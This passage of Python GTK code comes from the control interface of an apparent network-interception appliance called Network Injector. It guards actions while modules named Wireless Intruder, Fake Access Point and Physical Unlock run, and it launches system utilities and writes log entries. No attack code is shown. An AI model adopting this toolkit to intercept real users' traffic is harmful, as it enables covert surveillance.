            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Wireless Intruder is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        elif self.fa_running == True or self.fakeap_started == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Fake Access Point is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        elif self.py_running == True or self.started_firewire == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Physical Unlock  is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return

        try:
            disk = subprocess.check_output("ls /dev/mapper | grep '_crypt'", shell=True)
            if len(disk) == 0:
                disk = None
        except:
            disk = None

        if disk == None:
            disk = '/dev/sda1'
        else:
            disk = '/dev/' + disk[:-7]

        subprocess.call("palimpsest --show-volume='{}' &".format(disk), shell=True)
        subprocess.call('echo "{} Show Disk encryption utility of {} disk of Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), disk), shell=True)

    def connectioneditor(self, *args): 
	if self.controlset == 'tactical':
            if self.started_newconf == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
	    elif (self.ni_running == True or self.started == True) and (self.fa_running == True or self.fakeap_started == True):
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Network Injector and Fake Access Point are running...\nPlease finish with their operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif self.ni_running == True or self.started == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
	    elif self.wi_running == True or self.status == 'started':
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Wireless Intruder is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif self.fa_running == True or self.fakeap_started == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Fake Access Point is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
	    elif self.py_running == True or self.started_firewire == True:
		self.dialog14 = self.builder.get_object("messagedialog14")
		msgdia = 'Physical Unlock is running...\nPlease finish with his operations or stop it first.'
		self.dialog14.format_secondary_text(msgdia)
		self.response14 = self.dialog14.run()
		if self.response14 == Gtk.ResponseType.OK:
		    self.dialog14.hide()
		    return
	else:
            if self.started_newconf == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
	    elif self.ni2_running == True or self.started == True:
	        self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return

        subprocess.call('nm-connection-editor &', shell=True)
        subprocess.call('echo "{} Show Network Manager connection editor of Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

    def networkutility(self, *args):
	if self.controlset == 'tactical':
            if self.started_newconf == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif (self.ni_running == True or self.started == True) and (self.fa_running == True or self.fakeap_started == True):
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Network Injector and Fake Access Point are running...\nPlease finish with their operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif self.ni_running == True or self.started == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif self.wi_running == True or self.status == 'started':
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Wireless Intruder is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif self.fa_running == True or self.fakeap_started == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Fake Access Point is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
	    elif self.py_running == True or self.started_firewire == True:
		self.dialog14 = self.builder.get_object("messagedialog14")
		msgdia = 'Physical Unlock  is running...\nPlease finish with his operations or stop it first.'
		self.dialog14.format_secondary_text(msgdia)
		self.response14 = self.dialog14.run()
		if self.response14 == Gtk.ResponseType.OK:
		    self.dialog14.hide()
		    return
        else:
            if self.started_newconf == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif self.ni2_running == True or self.started == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return

        subprocess.call('gnome-nettool &', shell=True)
        subprocess.call('echo "{} Show Network utility of Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

    def showlogs(self, *args):
	subprocess.call("nautilus /var/log/td-config/ &", shell=True)
        subprocess.call('echo "{} Show all logs of Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

        return
	
TccConfig().run()
